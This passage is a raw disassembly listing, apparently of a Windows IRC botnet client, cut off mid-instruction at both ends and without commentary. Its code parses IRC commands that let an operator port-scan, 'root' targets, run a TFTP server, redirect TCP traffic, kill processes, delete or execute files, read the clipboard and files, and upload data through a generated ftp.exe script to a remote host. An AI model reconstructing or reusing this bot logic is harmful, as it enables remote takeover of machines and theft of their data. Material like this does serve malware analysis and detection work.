short loc_406FC8 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_40CD70 push [ebp+arg_1C] push edi call sub_40CD80 add esp, 10h mov edi, 80h loc_406FC8: ; CODE XREF: sub_406BAB+3E1j ; sub_406BAB+3F8j add esi, edi dec [ebp+arg_0] jnz short loc_406F7B cmp [ebp+arg_24], ebx jz short loc_406FF9 push [ebp+arg_10] lea eax, [ebp+var_C8] push eax call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_407001 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_40B110 add esp, 0Ch loc_406FF9: ; CODE XREF: sub_406BAB+54j ; sub_406BAB+DDj ... xor eax, eax inc eax loc_406FFC: ; CODE XREF: sub_406BAB+28Aj ; sub_406BAB+1EF2j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407001: ; CODE XREF: sub_406BAB+43Cj mov edi, [ebp+arg_18] xor esi, esi loc_407006: ; CODE XREF: sub_406BAB+47Cj cmp [edi], bl jz short loc_40701D lea eax, [ebp+var_874] push eax push edi call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_40702B loc_40701D: ; CODE XREF: sub_406BAB+45Dj inc esi add edi, 80h cmp esi, 2 jl short loc_407006 jmp short loc_406FF9 ; --------------------------------------------------------------------------- loc_40702B: ; CODE XREF: sub_406BAB+470j lea eax, [ebp+var_874] push 21h push eax call sub_40CFC0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_406FF9 push eax call sub_40B5B0 push [ebp+arg_24] mov edi, eax call sub_40B5B0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_406FF9 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push esi call sub_40B0B3 push ebx lea eax, [ebp+var_494] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_404555 add esp, 24h jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_40708E: ; CODE XREF: sub_406BAB+3B6j push esi push offset aPart ; "PART" call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_4070B0 push esi push offset aQuit ; "QUIT" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4070D7 loc_4070B0: ; CODE XREF: sub_406BAB+4F2j mov edi, [ebp+arg_18] xor esi, esi loc_4070B5: ; CODE XREF: sub_406BAB+52Aj cmp [edi], bl jz short loc_4070CB push [ebp+var_A4] push edi call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_407117 loc_4070CB: ; CODE XREF: sub_406BAB+50Cj inc esi add edi, 80h cmp esi, 2 jl short loc_4070B5 loc_4070D7: ; CODE XREF: sub_406BAB+503j push [ebp+var_A0] push offset a353 ; "353" call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_407178 push [ebp+var_94] push [ebp+arg_8] call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_406FF9 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 jmp loc_406FF9 ; --------------------------------------------------------------------------- loc_407117: ; CODE XREF: sub_406BAB+51Ej mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C8] push eax lea eax, [ebp+var_2E4] push offset unk_41D838 push eax call sub_40B0B3 lea eax, [ebp+var_2E4] push eax call sub_403145 push [ebp+var_A0] push offset aPart ; "PART" call sub_40C250 add esp, 18h test eax, eax jnz loc_406FF9 lea eax, [ebp+var_2E4] push eax mov eax, [ebp+var_A4] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_406F45 ; --------------------------------------------------------------------------- loc_407178: ; CODE XREF: sub_406BAB+540j push [ebp+var_A0] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_40C250 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_4071CC push [ebp+var_A0] push edi call sub_40C250 pop ecx test eax, eax pop ecx jz short loc_4071CC push [ebp+var_A0] push offset dword_41D834 call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_409F32 cmp dword_41C0DC, ebx jz loc_409F32 loc_4071CC: ; CODE XREF: sub_406BAB+5E7j ; sub_406BAB+5F9j push [ebp+var_A0] push esi call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4072D0 push [ebp+var_A0] push edi call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4072D0 mov eax, [ebp+var_98] inc [ebp+var_94] mov [ebp+var_24], 4 mov [ebp+var_9C], eax loc_407211: ; CODE XREF: sub_406BAB+7DEj ; sub_406BAB+81Aj ... mov eax, [ebp+var_24] mov esi, eax shl esi, 2 lea eax, [ebp+esi+var_A4] mov ecx, [eax] lea edi, [ecx+1] mov [eax], edi mov al, [ecx] cmp al, byte_41C0E8 mov [ebp+arg_C], edi jnz loc_406FF9 push edi push offset dword_41D830 call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409F3A push edi push offset dword_41D830 call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409F3A cmp [ebp+var_A8], ebx jnz short loc_407284 push [ebp+var_A0] push offset dword_41D834 call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_409F32 loc_407284: ; CODE XREF: sub_406BAB+6BDj cmp [ebp+arg_28], ebx jnz loc_409F32 cmp dword_41C418, ebx mov [ebp+arg_8], ebx jle loc_407543 mov [ebp+arg_20], offset dword_42C1E0 loc_4072A3: ; CODE XREF: sub_406BAB+71Ej push edi push [ebp+arg_20] call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4073F5 inc [ebp+arg_8] add [ebp+arg_20], 0B8h mov eax, [ebp+arg_8] cmp eax, dword_41C418 jl short loc_4072A3 jmp loc_407543 ; --------------------------------------------------------------------------- loc_4072D0: ; CODE XREF: sub_406BAB+631j ; sub_406BAB+647j push [ebp+var_A0] push edi call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4072E9 mov [ebp+var_4], 1 loc_4072E9: ; CODE XREF: sub_406BAB+735j cmp [ebp+var_9C], ebx jz loc_406FF9 push (offset loc_41990F+1) push [ebp+var_9C] call sub_40CE60 pop ecx test eax, eax pop ecx jz short loc_407310 cmp [ebp+var_4], ebx jz short loc_40731C loc_407310: ; CODE XREF: sub_406BAB+75Ej lea eax, [ebp+var_C8] mov [ebp+var_9C], eax loc_40731C: ; CODE XREF: sub_406BAB+763j cmp [ebp+var_98], ebx jz loc_406FF9 inc [ebp+var_98] jz short loc_407363 cmp [ebp+arg_10], ebx jz short loc_407363 lea eax, [ebp+var_54C] push eax call sub_40B5B0 push eax lea eax, [ebp+var_54C] push [ebp+var_98] push eax call sub_40D450 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_24], eax jmp short loc_407366 ; --------------------------------------------------------------------------- loc_407363: ; CODE XREF: sub_406BAB+783j ; sub_406BAB+788j mov eax, [ebp+var_24] loc_407366: ; CODE XREF: sub_406BAB+7B6j mov esi, eax shl esi, 2 mov edi, [ebp+esi+var_A4] cmp edi, ebx jz loc_406FF9 push edi push offset dword_41D824 call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_407211 mov ecx, [ebp+var_9C] cmp byte ptr [ecx], 23h jz short loc_4073B6 mov eax, dword_47F8B4 mov eax, off_41C204[eax*4] cmp [eax], bl jz short loc_4073B6 push eax push ecx push offset dword_41D808 jmp loc_406F45 ; --------------------------------------------------------------------------- loc_4073B6: ; CODE XREF: sub_406BAB+7EDj ; sub_406BAB+7FDj push edi push offset dword_41D800 call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_407211 mov esi, [ebp+esi+var_A0] cmp esi, ebx jz loc_407211 mov eax, [ebp+var_9C] cmp byte ptr [eax], 23h jz loc_407211 push esi push eax push offset dword_41D7E8 jmp loc_406F45 ; --------------------------------------------------------------------------- loc_4073F5: ; CODE XREF: sub_406BAB+705j push offset asc_41D900 ; " :" push [ebp+arg_0] call sub_40CE60 pop ecx cmp eax, ebx pop ecx jz loc_406FF9 mov edi, [ebp+arg_8] mov cl, byte_41C0E8 imul edi, 0B8h mov [eax+2], cl mov cl, byte_41C0E8 mov [eax+3], cl lea ecx, dword_42C1F8[edi] push 9Fh add eax, 4 push ecx push eax call sub_40B110 lea eax, dword_42C1E0[edi] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_20], eax lea edi, [ebp+esi+var_64] loc_407453: ; CODE XREF: sub_406BAB+933j push [ebp+arg_8] lea eax, [ebp+var_20] push offset aD_1 ; "$%d-" push eax call sub_40B0B3 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40CE60 add esp, 14h test eax, eax jz short loc_4074AC cmp [edi], ebx jz short loc_4074B0 push [ebp+arg_20] call sub_40B5B0 add [ebp+var_C], eax pop ecx jz short loc_4074D5 push dword ptr [edi-4] push [ebp+var_C] call sub_40CE60 pop ecx cmp eax, ebx pop ecx jz short loc_4074D5 push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_405185 add esp, 0Ch jmp short loc_4074D5 ; --------------------------------------------------------------------------- loc_4074AC: ; CODE XREF: sub_406BAB+8CAj cmp [edi], ebx jnz short loc_4074D5 loc_4074B0: ; CODE XREF: sub_406BAB+8CEj lea eax, [ebp+var_20] push 2 push eax lea eax, [ebp+var_14] push eax call sub_40B110 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_405185 add esp, 18h loc_4074D5: ; CODE XREF: sub_406BAB+8DCj ; sub_406BAB+8EDj ... dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg loc_407453 lea eax, [ebp+esi+var_64] mov [ebp+arg_8], 10h mov edi, eax loc_4074F1: ; CODE XREF: sub_406BAB+989j push [ebp+arg_8] lea eax, [ebp+var_20] push offset aD_0 ; "$%d" push eax call sub_40B0B3 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40CE60 add esp, 14h test eax, eax jz short loc_40752B mov eax, [edi] cmp eax, ebx jz short loc_40752B push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_405185 add esp, 0Ch loc_40752B: ; CODE XREF: sub_406BAB+968j ; sub_406BAB+96Ej dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_4074F1 mov edi, [ebp+arg_C] mov [ebp+var_AC], 1 loc_407543: ; CODE XREF: sub_406BAB+6EBj ; sub_406BAB+720j mov al, [edi] cmp al, byte_41C0E8 jz short loc_407559 cmp [ebp+var_AC], ebx jz loc_407715 loc_407559: ; CODE XREF: sub_406BAB+9A0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_405185 lea eax, [ebp+var_C8] push eax push offset aUser_2 ; "$user" push edi call sub_405185 push [ebp+var_9C] push offset aChan ; "$chan" push edi call sub_405185 push ebx push ebx lea eax, [ebp+var_20] push 2 push eax call sub_4061FA push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_405185 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_405185 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_40CE60 add esp, 14h jmp loc_407690 ; --------------------------------------------------------------------------- loc_4075CD: ; CODE XREF: sub_406BAB+AE7j push edi push [ebp+arg_0] call sub_40CE60 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_20] push eax call sub_40B110 lea eax, [ebp+var_20] push offset asc_41D7A8 ; ")" push eax call sub_40D07C add esp, 1Ch cmp [ebp+var_20], 30h jl short loc_407605 cmp [ebp+var_20], 39h jle short loc_407618 loc_407605: ; CODE XREF: sub_406BAB+A52j push 3 lea eax, [ebp+var_20] push offset a63 ; "63" push eax call sub_40B110 add esp, 0Ch loc_407618: ; CODE XREF: sub_406BAB+A58j lea eax, [ebp+var_20] push eax call sub_40C3AF test eax, eax pop ecx jle short loc_407635 lea eax, [ebp+var_20] push eax call sub_40C3AF pop ecx mov [ebp+var_14], al jmp short loc_407646 ; --------------------------------------------------------------------------- loc_407635: ; CODE XREF: sub_406BAB+A79j call sub_40B54F push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_407646: ; CODE XREF: sub_406BAB+A88j lea eax, [ebp+var_20] mov [ebp+var_13], bl push eax call sub_40B5B0 mov [ebp+arg_8], eax push 0Ch lea eax, [ebp+var_20] push ebx push eax call sub_40B630 mov eax, [ebp+arg_8] add eax, 6 push eax lea eax, [ebp+var_20] push [ebp+arg_10] push eax call sub_40B110 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_405185 push edi push [ebp+arg_0] call sub_40CE60 add esp, 30h loc_407690: ; CODE XREF: sub_406BAB+A1Dj test eax, eax jnz loc_4075CD mov edi, 1FFh lea eax, [ebp+var_C78] push edi push [ebp+arg_0] push eax call sub_40B110 lea eax, [ebp+var_C78] push edi push eax lea eax, [ebp+var_E78] push eax call sub_40B110 mov edi, offset asc_41D8FC ; " " lea eax, [ebp+var_E78] push edi push eax call sub_40D07C add esp, 20h mov [ebp+var_A4], eax mov [ebp+arg_8], 1 loc_4076E3: ; CODE XREF: sub_406BAB+B52j push edi push ebx call sub_40D07C pop ecx pop ecx mov ecx, [ebp+arg_8] inc [ebp+arg_8] cmp [ebp+arg_8], 20h mov [ebp+ecx*4+var_A4], eax jl short loc_4076E3 lea eax, [ebp+esi+var_A4] mov ecx, [eax] cmp ecx, ebx jz loc_406FF9 add ecx, 3 mov [eax], ecx loc_407715: ; CODE XREF: sub_406BAB+9A8j mov edi, [ebp+esi+var_A4] push edi push offset aRndnick ; "rndnick" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409EF6 push edi push offset aRn ; "rn" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409EF6 push edi push offset aDie ; "die" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409ED4 push edi push offset aDe ; "de" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409ED4 push edi push offset aLogout ; "logout" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409E30 push edi push offset aLo ; "lo" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409E30 push edi push offset aLogstop ; "logstop" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4077C3 push [ebp+esi+var_A0] push 1Ah push offset aLogList ; "Log list" push offset aLog ; "LOG " jmp loc_409E14 ; --------------------------------------------------------------------------- loc_4077C3: ; CODE XREF: sub_406BAB+BFEj push edi push offset aRedirectstop ; "redirectstop" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4077EC push [ebp+esi+var_A0] push 0Fh push offset aTcpRedirect ; "TCP redirect" push offset aRedirect_0 ; "REDIRECT " jmp loc_409E14 ; --------------------------------------------------------------------------- loc_4077EC: ; CODE XREF: sub_406BAB+C27j push edi push offset aTftpstop ; "tftpstop" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_407815 push [ebp+esi+var_A0] push 4 push offset aServer ; "Server" push offset aTftp_0 ; "TFTP " jmp loc_409E14 ; --------------------------------------------------------------------------- loc_407815: ; CODE XREF: sub_406BAB+C50j push edi push offset aProcsstop ; "procsstop" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409E01 push edi push offset aPsstop ; "psstop" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409E01 push edi push offset aSecurestop ; "securestop" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_407868 push [ebp+esi+var_A0] push 18h push offset aSecure ; "Secure" push offset aSecure_0 ; "SECURE " jmp loc_409E14 ; --------------------------------------------------------------------------- loc_407868: ; CODE XREF: sub_406BAB+CA3j push edi push offset aScanstop ; "scanstop" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_407891 push [ebp+esi+var_A0] push 7 push offset aProcess ; "process" push offset aRooting ; "Rooting" jmp loc_409E14 ; --------------------------------------------------------------------------- loc_407891: ; CODE XREF: sub_406BAB+CCCj push edi push offset aScanstats ; "scanstats" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409DE8 push edi push offset aStats ; "stats" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409DE8 push edi push offset aReconnect ; "reconnect" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409DD2 push edi push offset aR ; "r" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409DD2 push edi push offset aDisconnect ; "disconnect" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409DBB push edi push offset aD ; "d" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409DBB push edi push offset aQuit_0 ; "quit" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409D72 push edi push offset aQ ; "q" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409D72 push edi push offset aStatus ; "status" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409D34 push edi push offset aS_2 ; "s" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409D34 push edi push offset aIdw ; "idw" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409CFD push edi push offset aIdw ; "idw" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409CFD push edi push offset aReboot ; "reboot" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_4079DF call sub_4054A5 test eax, eax mov eax, offset unk_41D658 jnz short loc_4079B1 mov eax, offset unk_41D630 loc_4079B1: ; CODE XREF: sub_406BAB+DFFj push eax lea eax, [ebp+var_2E4] push eax call sub_40B0B3 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 1Ch jmp loc_408A8B ; --------------------------------------------------------------------------- loc_4079DF: ; CODE XREF: sub_406BAB+DF1j push edi push offset aThreads ; "threads" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409C10 push edi push offset aT ; "t" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409C10 push edi push offset aAliases ; "aliases" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409BFA push edi push offset aAl ; "al" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409BFA push edi push offset aNetinfo ; "netinfo" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409BCA push edi push offset aNi ; "ni" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409BCA push edi push offset aSysinfo ; "sysinfo" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409BB3 push edi push offset aSi ; "si" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409BB3 push edi push offset aRrmm010kt ; "rrmm010kt" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409B79 push edi push offset aRrmm010kt ; "rrmm010kt" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409B79 push edi push offset aProcs ; "procs" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409A5E push edi push offset aPs ; "ps" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409A5E push edi push offset aUptime ; "uptime" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4099D7 push edi push offset aUp ; "up" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4099D7 push edi push offset aDriveinfo ; "driveinfo" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4099B7 push edi push offset aDrv ; "drv" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4099B7 push edi push offset aWho ; "who" call sub_40C250 pop ecx test eax, eax pop ecx jnz short loc_407BB6 cmp [ebp+var_8], ebx jnz short loc_407B5F push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 14h loc_407B5F: ; CODE XREF: sub_406BAB+F98j mov edi, [ebp+arg_18] xor esi, esi loc_407B64: ; CODE XREF: sub_406BAB+FFFj cmp [edi], bl lea eax, [edi+1] jnz short loc_407B70 mov eax, offset aEmpty ; "<Empty>" loc_407B70: ; CODE XREF: sub_406BAB+FBEj push eax push esi lea eax, [ebp+var_2E4] push offset aD_S ; "%d. %s" push eax call sub_40B0B3 push 1 lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_404555 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_407B64 push offset unk_41D584 jmp loc_40919C ; --------------------------------------------------------------------------- loc_407BB6: ; CODE XREF: sub_406BAB+F93j push edi push offset aGetclip ; "getclip" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40996E push edi push offset aGc ; "gc" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40996E push edi push offset aFlusharp ; "flusharp" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409943 push edi push offset aFarp ; "farp" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409943 push edi push offset aFlushdns ; "flushdns" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409913 push edi push offset aFdns ; "fdns" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409913 push edi push offset aCurrentip ; "currentip" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4098D6 push edi push offset aCip ; "cip" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4098D6 push edi push offset aTftpserver ; "tftpserver" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4097A1 push edi push offset aTftp ; "tftp" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4097A1 push edi push offset aAlls ; "alls" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409496 push edi push offset aAlls ; "alls" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409496 mov eax, [ebp+esi+var_A0] cmp eax, ebx mov [ebp+arg_10], eax jz loc_406FF9 push edi push offset aNick_0 ; "nick" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409489 push edi push offset aN ; "n" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409489 push edi push offset aJoin ; "join" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40947A push edi push offset aJ ; "j" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40947A push edi push offset aPart_0 ; "part" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40946D push edi push offset aPt ; "pt" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40946D push edi push offset aRaw ; "raw" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409444 push edi push offset aR ; "r" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409444 push edi push offset aKillthread ; "killthread" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409387 push edi push offset aK ; "k" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409387 push edi push offset aPrefixw ; "prefixw" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40936E push edi push offset aPrw ; "prw" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40936E push edi push offset aOpen ; "open" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40933A push edi push offset aO ; "o" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_40933A push edi push offset aServerw ; "serverw" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409311 push edi push offset aSew ; "sew" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409311 push edi push offset aDns ; "dns" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4092A1 push edi push offset aDn ; "dn" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4092A1 push edi push offset aKillproc ; "killproc" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409265 push edi push offset aKp ; "kp" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409265 push edi push offset aKill ; "kill" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409206 push edi push offset aKi ; "ki" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409206 push edi push offset aDelete ; "delete" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4091A7 push edi push offset aDel ; "del" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4091A7 push edi push offset aMirccmd ; "mirccmd" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409131 push edi push offset aMirc_0 ; "mirc" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_409131 push edi push offset aReadfile ; "readfile" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4090A3 push edi push offset aRf ; "rf" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4090A3 push edi push offset aGethost ; "gethost" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408FBF push edi push offset aGh ; "gh" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408FBF mov eax, [ebp+esi+var_9C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_406FF9 push edi push offset aAddalias ; "addalias" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408F7C push edi push offset aAa ; "aa" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408F7C push edi push offset aPrivmsg_0 ; "privmsg" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408F3D push edi push offset aPm ; "pm" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408F3D push edi push offset aAction ; "action" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408EDB push edi push offset aA_0 ; "a" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408EDB push edi push offset aCycle ; "cycle" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408E7D push edi push offset aCy ; "cy" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408E7D push edi push offset aMode ; "mode" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408E4C push edi push offset aM ; "m" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408E4C push edi push offset aRepeat ; "repeat" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408D84 push edi push offset aRp ; "rp" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408D84 push edi push offset aDelay ; "delay" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408CF0 push edi push offset aDe ; "de" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408CF0 push edi push offset aKkttupw ; "kkttupw" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408B3D push edi push offset aKkttupw ; "kkttupw" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408B3D push edi push offset aExecute ; "execute" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408AA2 push edi push offset aE ; "e" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408AA2 push edi push offset aRename ; "rename" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408A1A push edi push offset aMv ; "mv" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408A1A push edi push offset aKktt ; "kktt" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4088A2 push edi push offset aKktt ; "kktt" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4088A2 push edi push offset aRedirect ; "redirect" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4087A3 push edi push offset aRd ; "rd" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4087A3 push edi push offset aPortscan ; "portscan" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4086AB push edi push offset aPsc ; "psc" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_4086AB cmp [ebp+esi+var_94], ebx jz loc_406FF9 push edi push offset aAss ; "ass" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408353 push edi push offset aAas ; "aas" call sub_40C250 pop ecx test eax, eax pop ecx jz loc_408353 cmp [ebp+esi+var_90], ebx jz loc_406FF9 push edi push offset aUpload ; "upload" call sub_40C250 pop ecx test eax, eax pop ecx jnz loc_409F32 mov edi, [ebp+esi+var_90] push 4 push edi call sub_4037EA pop ecx test eax, eax pop ecx jnz short loc_40821B push edi push offset dword_41D3A4 loc_4081E2: ; CODE XREF: sub_406BAB+1AE6j ; sub_406BAB+27FEj lea eax, [ebp+var_2E4] push eax call sub_40B0B3 add esp, 0Ch loc_4081F1: ; CODE XREF: sub_406BAB+1AFBj ; sub_406BAB+240Fj ... cmp [ebp+var_8], ebx jnz loc_409B55 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_9C] push [ebp+arg_4] loc_40820E: ; CODE XREF: sub_406BAB+1E58j call sub_404555 add esp, 14h jmp loc_409B55 ; --------------------------------------------------------------------------- loc_40821B: ; CODE XREF: sub_406BAB+162Fj call dword_41705C ; GetTickCount push eax call sub_40B545 pop ecx call sub_40B54F push 9 cdq pop ecx idiv ecx push edx call sub_40B54F push 63h cdq pop ecx idiv ecx push edx call sub_40B54F cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_3E8] push edx push eax lea eax, [ebp+var_A78] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_40B0B3 lea eax, [ebp+var_A78] push offset aAb ; "ab" push eax call sub_40C7B8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_406FF9 push edi push [ebp+esi+var_94] push [ebp+esi+var_98] push [ebp+arg_18] push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_40D411 push [ebp+arg_24] call sub_40C3BA lea eax, [ebp+var_A78] push eax lea eax, [ebp+var_530] push offset aSS_4 ; "-s:%s" push eax call sub_40B0B3 add esp, 2Ch lea eax, [ebp+var_530] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_42B358 push [ebp+arg_10] test eax, eax push edi jz short loc_4082F1 push offset dword_41D334 jmp short loc_4082F6 ; --------------------------------------------------------------------------- loc_4082F1: ; CODE XREF: sub_406BAB+173Dj push offset dword_41D304 loc_4082F6: ; CODE XREF: 